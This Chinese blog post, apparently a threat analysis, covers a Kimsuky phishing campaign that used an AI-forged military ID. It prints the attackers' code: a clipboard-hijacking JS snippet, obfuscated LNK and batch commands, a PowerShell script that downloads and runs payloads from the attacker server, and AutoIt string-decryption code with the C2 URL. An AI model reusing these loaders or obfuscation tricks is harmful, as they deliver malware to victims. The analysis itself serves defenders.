生成式 AI 驱动的身份伪造在钓鱼场景中的应用
营长 Lv3

2025 年 7 月 17 日,韩国网络安全公司 Genians Inc. 检测到了一起来自 Kimsuky 组织的网络攻击。Kimsuky 是一个源自朝鲜的高级持续性威胁组织(APT),被普遍认为与朝鲜侦察总局(RGB)有关。在此次攻击其伪装成负责韩国军方官员身份证签发的相关机构。

本文旨在探讨在该案例中生成式 AI 伪造技术的应用。该技术的起源可追溯于 2017 年一名红迪用户使用了深度学习模型生成了包含名人面孔的色情视频,在这之后冒出了一系列利用 AI 模型生成接近真人的虚假图像、视频或音频的技术。由于普遍使用了深度学习模型,此类技术被统称为深度伪造

封面图

图片加载出错啦!

前奏:钓鱼

2025 年 6 月 2 日,多起钓鱼攻击指向在韩从事研究或抗议朝鲜政权相关活动的个人。这些攻击冒充网站的邮件服务:

图片加载出错啦! 图片加载出错啦!
图一:钓鱼邮件(中译)

邮件中的发件人邮箱域名以及按钮链接均为由攻击者控制的钓鱼网站:

发件人 链接
serv_warnq0x@liveml.cafe24.com liveml.cafe24.com/css/img/out.php
noreply_system001@liveml.cafe24.com liveml.cafe24.com/css/img/out.php
noreply_system001@snuopel.cafe24.com snuopel.cafe24.com/css/img/out.php
noreply_system002@snuopel.cafe24.com snuopel.cafe24.com/css/img/out.php

当点击底部的按钮时,受害者会被跳转到网站的机器人验证页面:

图片加载出错啦!
图二:钓鱼网站(中译)

网站前端的 JS 脚本包含如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function Main_Function(){
var powershell = "wget -Uri " + szurl + "?o=" + dwOTP + " -OutFile music\\x.bat;music\\x.bat";
var bytes = '';
for (var i = 0; i < powershell.length; i++) {
bytes += powershell[i];
bytes += '\0';
}
const textToCopy = "powershell -eC " + btoa(bytes);
document.getElementById("not_robot").addEventListener("change", function(e){
if (e.target.checked) {
const textArea = document.createElement("textarea");
textArea.value = textToCopy;
document.body.appendChild(textArea);
textArea.select();
document.execCommand("copy");
document.body.removeChild(textArea);
dialog.showModal();
}
});
}

这段脚本偷偷将恶意命令写入系统剪切板,如果受害者按照网页上的确认步骤照做,这段恶意命令会被执行。该命令从攻击者控制的服务器,jiwooeng.co.kr,分阶段地下载一个 CAB 压缩包,解压后出现一个名为 HncUpdateTray.exe 的可执行文件,该文件的命名是为了伪装成 Hancom Office(韩国的办公软件,类似于 Microsoft Office)的更新程序。该文件在执行后会将宿主设备纳入攻击者的控制内。

中章:鱼叉式钓鱼

7月,攻击者对钓鱼手法进行了升级,基于目标的身份精心定制了钓鱼流程:

图片加载出错啦!
图三:钓鱼邮件升级版(中译)

发件人使用了与韩国某军事机构官方域名高度相似的域名,以征求草案意见为由令收件人下载附件。附件名称的打码部分为收件人的真实姓名。附件解压后会得到一个 Windows 快捷方式文件 公务员证明草稿(<收件人姓名>).lnk,其目标属性中的部分命令如下所示:

1
2
%windir%\syswow64\cmd.exe /k "Set ab901ab=jBdv8X7pIwSzV5s62otf9Pk1WaeAyc4OuERbi30lxmUnZYrh 
&& call %ab901ab:~7,1%%ab901ab:~17,1%%ab901ab:~9,1%%ab901ab:~26,1%%ab901ab:~46,1%%ab901ab:~14,1%%ab901ab:~47,1%%ab901ab:~26,1%%ab901ab:~39,1%%ab901ab:~39,1%"

这段命令启动 32 位版本的 cmd.exe 设置了长字符串变量 ab901ab,接着调用了 call 命令,其参数为一连串变量子字符串截取表达式:

  • %ab901ab:~7,1%:指代变量 ab901ab 的第 7 位开始第 1 个字符(从 0 开始数) – p
  • %ab901ab:~17,1%:指代变量 ab901ab 的第 17 位开始第 1 个字符 – o
  • %ab901ab:~9,1%:指代变量 ab901ab 的第 9 位开始第 1 个字符 – w

  • 以此类推,示例中的表达式的值为 powershell,表达式前的 call 让其组成的字符串能够被当作命令执行。该模式通过定义一个字母表及使用表达式对字母表中的字符进行引用混淆了原本的恶意指令,使其更难被察觉。目击到的完整命令还原后如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
powershell -executionpolicy bypass -command "
$IRxxm3srXAU = 'http://www.jiwoong.co.kr/zb41p17/bbs/icon/private_name/private.php';

$EYo7iwjP20YWe = @(
@{
s = 'YSHQ7MmZhdfJ4S4RcUD22';
k = 'LhUdPC3GH76vSupcOmK8gb2wbdNNRUWLhU';
d = '임무명령 초안(<收件人姓名>).png';
w = $true;
},
@{
s = 'LhUdPC3GH76vSupc';
k = 'LhUdPC3GH76vSupcOmK8gb2wbdNNRUW';
d = 'LhUdPC36.bat';
w = $false;
}
);

foreach ($B8eBvfP98Vur in $EYo7iwjP20YWe) {
$zIR_2Wu = "$IRxxm3srXAU" + '?nickname=' + "$($B8eBvfP98Vur.s)" + [char]38 + 'privatekey=' + "$($B8eBvfP98Vur.k)";
$kmvOXZRZX3URS = $env:temp + "$($B8eBvfP98Vur.d)";

curl "$zIR_2Wu" -o "$kmvOXZRZX3URS";

if ($B8eBvfP98Vur.w) {
Start-Process "$kmvOXZRZX3URS";
} else {
Start-Process "$kmvOXZRZX3URS" -WindowStyle hidden;
}
}

这段 Powershell 脚本从攻击者控制的服务器下载了一张图片 임무명령 초안(<收件人姓名>).png 以及一个批处理文件 LhUdPC36.bat 到临时文件夹 $env:temp 并打开/执行。其中,字符串变量 IRxxm3srXAU 存储了基础下载地址,数组变量 EYo7iwjP20YWe 存放了每个文件的相关信息:

  • s:下载 Url nickname 参数
  • k:下载 Url privatekey 参数
  • w:执行时是否不隐藏程序窗口
    下载的图片为邮件中征求意见的军人ID草稿,如下图所示:
图片加载出错啦!
图四:伪造的军人ID

批处理文件的部分代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@echo off
Set atp7s2j1=kI7Uot3p61COMBSHKZqeriTmFbdENj1Lnxqy@SGWAscuzwPvD4tha

%atp7s2j1:~41,1%%atp7s2j1:~19,1%%atp7s2j1:~5,1%%atp7s2j1:~51,1%%atp7s2j1:~26,1%

:Start_juice
%atp7s2j1:~5,1%%atp7s2j1:~21,1%%atp7s2j1:~23,1%%atp7s2j1:~19,1%%atp7s2j1:~4,1%
%atp7s2j1:~42,1%%atp7s2j1:~43,1%%atp7s2j1:~20,1%%atp7s2j1:~9,1% "headerurl"
%atp7s2j1:~21,1%%atp7s2j1:~50,1%%atp7s2j1:~32,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%
%atp7s2j1:~34,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%%atp7s2j1:~4,1%%atp7s2j1:~1,1%
)
%atp7s2j1:~50,1%%atp7s2j1:~4,1%%atp7s2j1:~20,1% %atp7s2j1:~21,1%
%atp7s2j1:~21,1%%atp7s2j1:~50,1% XFSIZE% %atp7s2j1:~34,1%%atp7s2j1:~5,1%
%atp7s2j1:~26,1%%atp7s2j1:~19,1%%atp7s2j1:~9,1% /*%atp7s2j1:~50,1% /x%atp7s2j1:~}
%atp7s2j1:~34,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%%atp7s2j1:~4,1%%atp7s2j1:~14,1%

:Extract_juice
%atp7s2j1:~21,1%%atp7s2j1:~50,1%%atp7s2j1:~19,1%%atp7s2j1:~33,1%%atp7s2j1:~21,1%
%atp7s2j1:~19,1%%atp7s2j1:~33,1%%atp7s2j1:~7,1%%atp7s2j1:~52,1%%atp7s2j1:~32,1%
%atp7s2j1:~41,1%%atp7s2j1:~42,1%%atp7s2j1:~51,1%%atp7s2j1:~5,1%%atp7s2j1:~52,1%
%atp7s2j1:~26,1%%atp7s2j1:~19,1%%atp7s2j1:~9,1% /*%atp7s2j1:~50,1% /x%atp7s2j1:~}
)

混淆模式与之前相同,设置环境变量 atp7s2j1 作为字母表然后使用表达式引用将字符逐个组合成恶意命令。完整脚本被还原后的执行流如下图所示:

图片加载出错啦!
图五:批处理文件执行流

该脚本在延迟 7 秒后从 C2 服务器下载了文件 privname173.cab 并解压到 C:\ProgramData,中间如果任何环节出错会跳转到 Start_juice 分支重新下载。随后在 Extract_juice 分支将解压出的 HncAutoUpdateTray.exe 注册为每 7 分钟执行一次的计划任务,任务名称被设置为 HncAutoUpdateTaskMachine 以便伪装成 Hancom Office 的更新程序。该任务会载入并执行 HncAutoUpdateTray.exe 同目录下的 AutoIt 脚本 config.bin,该脚本变量定义部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Global $ocomerrorhandler = ObjEvent("AutoIt.Error", "upKoXDcM")

Local $sbxmfljmg = msdbvxez("G?NC96[rrlgy", "6511988208693")
Local $ndexqvwc = msdbvxez(" gg]gyx=-17;", "927782534129")
Local $izscpxux = msdbvxez("USXEK37ALJJv[um]ou%3+3", "800811933367")
Local $khabtatx = msdbvxez("g-", "59892981245052")
Local $lfqwxybb = msdbvxez("keg\]dyc20", "94756362449901")
Local $nmpogecn = msdbvxez("[cfDoux&5frNlpKQmwyqboz61)0", "46845188043")
Local $juqrcns = msdbvxez("NAM", "747108918197")
Local $vvajpije = msdbvxez("Wpcm$Cj'jo", "2329523745752")
Local $qcffuoke = msdbvxez("EJHIRUKLN9UG", "25573166088225")
Local $pzqvxcmw = msdbvxez("pqok127pnt2jatjinq_Zr2kj,ug=.he@2^bk,nhfk'w{fralhdiXjm6goeviw`gkx8e^ieE", "835593879340")
Local $zkczmqub = msdbvxez("Tkvciqf+44o'$Sckitsr*n|#-+5@Ven=07~u;9%Adna++083---", "74463554140")
Local $tmylhlop = msdbvxez("]p*dmrwfp^um/,1]d\q", "147932536318")
Local $tjpvtfse = msdbvxez("=^kkd", "1892870715")

Func msdbvxez($fzyvtqqu, $wcixylhe)
Local $vgeuqkxw = [0,1,1,1,1,0,0,1,1,1,1,0] ; bit mask array used for op selection
Local $fyebqaod = ""
Local $mktqubos = StringLen($wcixylhe)
Local $utaeuxnj = UBound($vgeuqkxw)

For $wycklhol = 1 To StringLen($fzyvtqqu)
Local $auzigwng = Asc(StringMid($fzyvtqqu, $wycklhol, 1))
Local $yjmrmhoj = Number(StringMid($wcixylhe, (Mod(($wycklhol - 1), $mktqubos) ) + 1, 1))
Local $pmwhexey = $vgeuqkxw[Mod(($wycklhol - 1), $utaeuxnj)]

If $pmwhexey = 1 Then
$auzigwng += $yjmrmhoj
Else
$auzigwng -= $yjmrmhoj
EndIf

$fyebqaod &= Chr($auzigwng)
Next

Return $fyebqaod
EndFunc

函数 msdbvxez() 封装了定制的 Vigenere 解密器以隐蔽这些字符串的取值。第一个参数作为密文,第二个参数作为密钥,变量 vgeuqkxw 的第 i % 12 位决定了解密第 i 位密文时的操作(0 - 减,1 - 加)。还原后的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Local $bxmfljmg = "ADODB.Stream"
Local $ndexqvwc = "windows-1252"
Local $izscpxux = "MSXML2.DOMDocument.6.0"
Local $khabtatx = "b64"
Local $lfqwxybb = "bin.base64"
Local $nmpogecn = "WinHttp.WinHttpRequest.5.1"
Local $iugrncsl = "GET"
Local $vvajpije = "User-Agent"
Local $qcffuoke = "COMPUTERNAME"
Local $pzqvxcmw = "http://www.jiwooeng.co.kr/zb41pl7/bbs/icon/private_name/private.php?name="
Local $zkczmqub = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Edge/133.2.1.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
Local $tmylhlop = "tempprivate0082.bat"
Local $tjpvtfse = "<html"

该脚本后续完成了数据盗取以及设备控制,不过这部分代码目前未被曝光。

尾声

提供生成式人工智能服务 Claude 的美国公司 Anthropic 于8月28日发布了一份题为《检测和应对人工智能滥用:2025年8月》的威胁情报报告。该报告披露了朝鲜IT从业人员滥用人工智能的案例​​。

图片加载出错啦!
图六:Anthropic 报告

总结

回顾一下整个流程,攻击者首先以征求军人ID草稿意见为由诱导受害者下载并打开附件包含的恶意快捷方式,接着通过快捷方式唤醒的 cmd.exe 进程调用 powershell.exe 命令从其控制的服务器上下载了 AI 伪造的军人ID草稿以及恶意批处理文件。 文件在延迟 7 秒后开始执行,这种延迟行为是为了规避沙箱以及动态分析环境中的短期监控。该文件完成了最后的恶意程序部署,将下载的可执行文件注册为系统计划任务实现对目标设备的控制。加密手段被用于混淆流程中涉及的恶意代码以增加审查难度。

参考资料